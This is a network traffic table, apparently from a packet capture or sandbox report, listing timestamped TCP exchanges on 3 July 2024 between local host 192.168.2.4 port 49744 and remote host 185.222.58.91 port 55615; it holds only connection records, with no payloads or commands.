Jul 3, 2024 18:17:37.907540083 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.907576084 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.907587051 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.907629967 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.907912016 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.907959938 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908035994 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908046007 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908062935 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908071995 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908081055 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908086061 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908113003 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908138037 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908179998 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908190012 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908231020 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908329010 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908375025 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908384085 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908392906 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908397913 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908402920 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908435106 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908457041 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908498049 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908507109 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908516884 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908534050 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908541918 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908544064 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908548117 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908551931 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908595085 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908616066 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908627033 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908636093 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908662081 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908674002 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.908798933 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.908844948 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909276009 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909324884 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909352064 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909384966 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909394979 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909400940 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909404039 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909413099 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909434080 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909450054 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909573078 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909583092 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909620047 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909620047 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909765959 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909811974 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909823895 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909832954 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909841061 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909849882 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909858942 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909873962 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909888029 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909908056 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.909938097 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909949064 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.909986973 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.910784960 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.910831928 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.911504984 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911554098 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.911554098 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911565065 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911573887 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911601067 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.911616087 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.911840916 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911851883 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911860943 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911870003 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911878109 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911890030 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.911916018 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.911916018 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.911961079 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911969900 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911978960 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911988020 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.911995888 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912004948 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912008047 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.912014008 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912019014 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.912024021 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912033081 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912041903 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912045956 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.912050962 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912060022 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912064075 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.912077904 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.912096024 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.912936926 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.912961006 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913012028 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913167000 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913177013 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913186073 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913194895 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913206100 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913217068 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913229942 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913247108 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913275003 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913364887 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913376093 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913383961 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913393021 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913407087 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913436890 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913443089 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913453102 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913480997 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913489103 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913491011 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913536072 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913553953 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913563967 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913573027 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913582087 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913590908 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913599014 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913599968 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913609982 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913611889 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913630962 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913633108 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913640022 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913644075 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913650036 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913659096 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913664103 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913667917 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913697004 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913718939 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913867950 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913878918 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913887024 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913896084 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.913916111 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.913932085 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914117098 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914133072 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914141893 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914150953 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914160013 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914169073 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914171934 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914171934 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914177895 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914186954 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914187908 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914196014 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914196968 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914212942 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914215088 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914222956 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914232016 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914236069 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914243937 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914257050 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914267063 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914271116 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914277077 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914283037 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914285898 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914295912 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914305925 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914309025 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914326906 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914336920 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914340019 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914381981 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914391994 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914401054 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914410114 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914417982 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914422989 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914427996 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914434910 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914438009 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914459944 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914474964 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914483070 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914580107 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914589882 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914599895 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914608955 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914617062 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914625883 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914632082 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914634943 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914638996 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914644957 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914660931 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914678097 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914815903 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914827108 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914838076 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.914864063 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.914876938 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.915071964 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.915122032 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916099072 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916147947 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916152954 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916157007 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916166067 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916196108 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916214943 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916270971 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916280985 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916290045 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916294098 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916297913 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916306019 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916325092 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916363001 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916363001 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916383028 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916403055 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916413069 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916420937 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916429996 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916429996 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916440010 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916449070 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916450024 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916456938 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916466951 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916476965 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916502953 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916522980 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916594982 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916604996 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916613102 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916621923 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916630030 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916637897 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916640997 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916661024 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916671038 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916672945 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916680098 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916703939 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916718960 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916727066 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916728973 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916737080 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916768074 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916778088 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916884899 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916894913 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916903019 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.916933060 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.916948080 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.917098999 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917109966 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917118073 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917126894 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917143106 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.917160034 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.917273045 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917283058 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917290926 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917300940 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917309046 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917327881 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.917330980 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917340040 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.917349100 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.917371988 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.918049097 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918096066 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.918128014 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918139935 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918148994 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918171883 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.918194056 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.918255091 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918265104 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918298960 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.918467045 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918478012 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918486118 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918512106 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.918524981 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.918836117 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918845892 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918853998 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918863058 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.918878078 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.918896914 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.919043064 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919053078 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919060946 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919092894 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.919106960 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.919130087 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919140100 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919148922 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919174910 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.919187069 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.919437885 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919482946 CEST	49744	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:37.919598103 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919661045 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919670105 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919687033 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919696093 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919704914 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.919826031 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.920114994 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.920156002 CEST	55615	49744	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:37.920166969 CEST	55615	49744	185.222.58.91	192.168.2.4
